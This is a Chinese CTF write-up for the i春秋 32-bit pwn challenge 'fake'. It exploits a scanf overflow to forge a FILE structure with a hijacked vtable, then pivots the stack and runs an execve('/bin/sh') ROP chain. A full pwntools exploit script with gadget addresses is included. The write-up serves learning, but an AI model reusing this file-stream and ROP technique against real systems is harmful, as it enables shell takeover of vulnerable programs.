ichunqiu–try to pwn
好吧,这个题目其实还没有做到我想要的地步,我还想再深度挖掘一下,但是周末了,该写writeup了,就先把这部分总结写了,之后如果还想有其他的尝试,就继续做吧。
题目又不是我自己做出来的,当时没有发现程序的溢出点,于是就到网上看了别人的Write-up。和之前的感觉一样,溢出点其实很简单,关键在于ROP的构造,这里和之前的一道题目比较像,都用到了”栈迁移+ROP构造的“知识点。
题目信息
https://www.ichunqiu.com/battalion
i春秋官网上的实战训练营里边50points的pwn题目。可见自己离400points的题目还有多大的差距…
file fake #查看看文件的基本信息
可以发现fake是32bit-ELF文件,然后用ida32打开。
main函数中有三个内部函数:init_proc;welcome;menu
init_proc
对输入流和输出流的初始化操作。
??话说这里的ssignal()函数的作用是什么,因为最近做了一道题目就是利用signal函数中断进行操作的,所以就很好奇??
welcome
用户输入name到&x中,没有限定输入字符串的长度。
menu
提供read file、print file功能。发现这里边存在输入的地方都有长度检查。
解题思路
发现漏洞点
我自己没有找到…漏洞点存在于welcome函数中,没有对输入的x进行长度限制。
int welcome()
{
puts("Whats your name?");
_isoc99_scanf("%s", &x);
return printf("Welcome %s, can you help me get the secret file?\n", &x);
}
漏洞利用设计思路
点击x,可以看到x是全局变量,存储在bss段上,并且bss段中x的下边紧挨着就是代码中不断出现的dword_80EFA00(这个也就是fopen()函数的返回值)
程序的正常流程中,当我们输入一个文件路径之后,程序会从/dev/random中读取一个随机数附加在我们输入的路径之后,使得我们无法通过常规操作打开文件。
但是由于x的输入可以覆盖dword_80EFA00的内容,也就是说可以修改fopen()对应的文件元数据,这里就可以使用伪造的File。
puts("Bye~");
if ( dword_80EFA00 )fclose(dword_80EFA00);
exit(0);
通过这里可以看到,如果dword_80EFA00不空,那么就会执行fclose(dword_80EFA00),这条语句fclose()实际上是执行了dword_80EFA00所代表的File结构体中的一个函数指针,当我们构造fake file信息的时候,就可以自定义flose()位置地址的内容,实现程序控制流劫持的目的。
伪造完整_IO_FILE_plus,然后让fp指针指向我们的fake FILE,并且将其中的vtable指向一个由我们控制的内存区域,在区域中填写我们攻击需要用到的函数地址,就能够实现攻击。
input:‘abcd’*12;
程序会检测到file fp不是null;于是就可以执行fclose()函数
拿到控制权限之后,一般就是要找到下一个程序要运行的位置,这里我们首先检查程序中是否存在可利用的execve()和system()函数以及“/bin/sh”参数,发现没有可用的信息,那么就需要我们自己构造ROP。
一般ROP的构造主要分为三种方式:int x80;system();execve();我个人认为int x80和execve()应该都可以,但是目前还没有具体实践…学习别人的Writeup中使用的是int x80。
接着使用checksec发现程序开启了NX,所以不能在栈上构造ROP;于是要考虑栈迁移,将程序栈迁移到可执行的bss段。
于是总的设计思路就是:
1.利用溢出漏洞点劫持控制流;构造fake file struct
2.实现栈迁移
3.在迁移后的bss栈上写入ROP
漏洞利用实现
如何构造fake file struct
我们使用fopen打开一个文件会在堆上分配一块内存区域用来存储FILE结构体,存储的结构体包含两个部分,前一部分为_IO_FILE结构体file,后一部分是一个指向struct IO_jump_t的指针vtable, 这个结构体种存储着一系列与文件IO相关的函数指针。
在我们调用fclose关闭一个文件时,我们最终会调用到vtable中存储的函数指针。如果我们能够将vtable中的指针替换为我们自己想要跳转到的地址就可以劫持程序流程。
这里有几个关键点:
- vtable相对FILE首地址的偏移量(即_IO_FILE的size)
- 结构体中值的设定
这部分还没有弄清楚!!!!!?????
觉得很神奇的是,_IO_FILE的size好像是通过观察内存的运行情况找到的??
好像不是通过_IO_FILE的size然后再加两个偏移定位到_finish()的位置;而是在gdb单步调试的时候,运行到finish()函数的时候,可以看到下一条指令的地址,由此来判断在哪个位置劫持控制流
如何实现栈迁移
借鉴别人的wirteup中使用到的是:
xchg eax, esp ; ret 1
如何构造ROP
int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,执行execve(/bin/sh)
这里提前将参数"/bin/sh"写入到bss段中,记住地址.
这里原作者使用了下属的这些指令:
xor eax, eax; ret;
pop ecx ; pop ebx ; ret;
pop esi ; pop ebx ; pop edx ; ret
pop eax; jnp 0x5b0e5e5e; pop esi; ret;
neg eax; ret
int 0x80
上述指令的功能很简单,就是对eax,ebx,ecx,edx,esi寄存器进行赋值。然后调用int 0x80.
ROP运行流程
一共调用了几段独立的汇编指令,然后结合在一起形成了完整的ROP,他们的运行顺序标在图中了,更容易理解ROP输入之后的运行情况。
exp
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys
def my_read(path):
io.recvuntil('> ')
io.sendline(str(1))
io.recvline()
io.sendline(path)
def my_print(content):
io.recvuntil('> ')
io.sendline(str(2))
io.send(content)
def my_exit():
io.recvuntil('> ')
io.sendline(str(3))
def exploit1(): #Rop
gdb.attach(io,' b *_IO_new_file_close_it')
#gdb.attach(io)
#gdb.attach(io)
io.recvuntil('Whats your name?\n')
name = 'A'*0x20
name += p32(0x80efa08) #fake file stream
name += 'B'*0x4
#fake file stream
fake_file = '/bin/sh\x00'
fake_file += p32(0)
fake_file += p32(1)
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(0x80efa10)
fake_file += 2*p32(0xffffffff)
fake_file += p32(0x0807bfc2)
'''
0x0807bfc2 : add esp, 0x60 ; pop ebx ; pop esi ; pop edi ; ret 2
'''
fake_file = fake_file.ljust(0x94,'\x00')
#fake _IO_jump_t
io_jump_t = p32(0x80efa5c)
#stack pivot
io_jump_t += p32(0x08048f66)# xchg eax, esp ; ret 1 pivot?? exchange
payload = name+fake_file+io_jump_t
payload = payload.ljust(0xec,'\x00')
#rop chain
rop = ''
rop += p32(0x8049613) # 0x08049613: xor eax, eax; ret; 3
rop += p32(0x08072f31) #0x08072f31 : pop ecx ; pop ebx ; ret 4
rop += p32(0x80efa1c)
rop += p32(0xdeadbeef)
rop += p32(0x08072f08) #0x08072f08 : pop esi ; pop ebx ; pop edx ; ret 5
rop += p32(0xdeadbeef)
rop += p32(0x80efa08)
rop += p32(0x80efa1c)
rop += p32(0x806ba13) # 0x0806ba13: pop eax; jnp 0x5b0e5e5e; pop esi; ret; 6
rop += p32(0xfffffff5)
rop += p32(0xdeadbeef)
rop += p32(0x08062527) # 0x08062527: neg eax; ret; 7
rop += p32(0x0804dc35) # 0x0804dc35: int 0x80 8
payload += rop
#gdb.attach(io)
io.sendline(payload)
#pause()
my_exit()
io.recvuntil('Bye~\n')
io.interactive()
if __name__ == "__main__":
context.binary = "./fake"
#context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./fake')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
exploit1()
else:
io = process('./fake')
exploit1()
关键知识点
File struct
_IO_FILE_plus
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
这个_OP_jump_t*
指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针,从而实现统一API调用下的不同处理。
_IO_FILE
struct _IO_FILE{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
struct _IO_marker * _markers
struct _IO_FILE * _chain // next _IO_FILE
int _fileno // file descriptor
int _flags2
_IO_off_t _old_offset
unsigned short _cur_column
signed char _vtable_offset
char _shortbuf [1]
_IO_lock_t * _lock
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
结构体中的_IO_read*
和_IO_write*
部分会在调用scanf/fread
和printf/fwrite
这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写(此处可pwn)
_chain
属性则是连接了下一个strcut _IO_FILE*
。
所有打开的文件FILE
结构都会以链表的形式存储在内存中,链表的头部为_IO_list_all
,是libc的全局变量。
当打开一个文件的时候,此时的会从从堆上分配一个区域,用来存放一个包含_IO_FILE结构体的另一个结构体_IO_FILE_plus
vtable
这边我们看到这个 vtable 的结构体为:
#define JUMP_INIT(NAME, VALUE) VALUE
const struct _IO_jump_t _IO_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
这些函数相当于是在调用read/write/fflush...
等函数的时候会利用的指针。
fclose()底层源码
/* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
/*这里本来有个对版本进行检测的代码,根据FILE结构中_vtable_offset变量是否为0来判断,不为0则执行_IO_old_fclose*/
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
int x80
int 0x80;sys_execve(),其中eax=0xa;ebx="/bin/sh"。也就是,执行execve(/bin/sh)
技能GET
pwnlib gdb
attach(target, execute = None, exe = None, arch = None, ssh = None) -> None
- target - 要被attach到的target。
- execute (str or file) - attach 之后,GDB 要运行的脚本。
- exe (str) - 目标二进制程序的路径
- arch (str) - 目标二进制程序的架构,如果 exe 已知的话,GDB 将会进行自动检测(如果支持的话)。
gdb command
x /30wx 0x080efa00 #查看从0x080efa00开始的30bytes内容
size_t
size_t type is a base unsigned integer type of C/C++ language. It is the type of the result returned by sizeof operator. The type’s size is chosen so that it can store the maximum size of a theoretically possible array of any type. On a 32-bit system size_t will take 32 bits, on a 64-bit one 64 bits.
xchg
SDM指令功能描述(XCHG)
XCHG指令,双操作数指令,用于交换src和dest操作数的内容。其中,src和dest可以是两个通用寄存器,也可以是一个寄存器和一个memory位置。
jnp
jump if condition is met
JNP rel8 Jump short if not parity (PF=0)
neg
NEG是汇编指令中的求补指令,NEG指令对操作数执行求补运算:用零减去操作数,然后结果返回操作数。求补运算也可以表达成:将操作数按位取反后加1。
tmux&gnome-terminal
tmux是什么?tmux是linux中一种管理窗口的程序。
gnome-terminal
ljust()
The method ljust() returns the string left justified in a string of length width. Padding is done using the specified fillchar (default is a space). The original string is returned if width is less than len(s).
fread
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
fopen返回值
Upon successful completion fopen(), fdopen() and freopen() return a FILE pointer. Otherwise, NULL is returned and errno is set to indicate the error.
问题
1.gdb.attach()出现的时候是会使程序停下来,但是程序停在哪里感觉有两个因素:
- 断点
- gdb.attach()的位置
前一个可以在 attach()的命令行参数进行设置;后一个暂时还不知道如何影响。这个题目中不管gdb.attach()放在哪里都是停在这个位置。
2.readgsword的作用
是NX还是canary??
3.payload中的ROP部分弄清了,但是file的构造还没有弄清楚???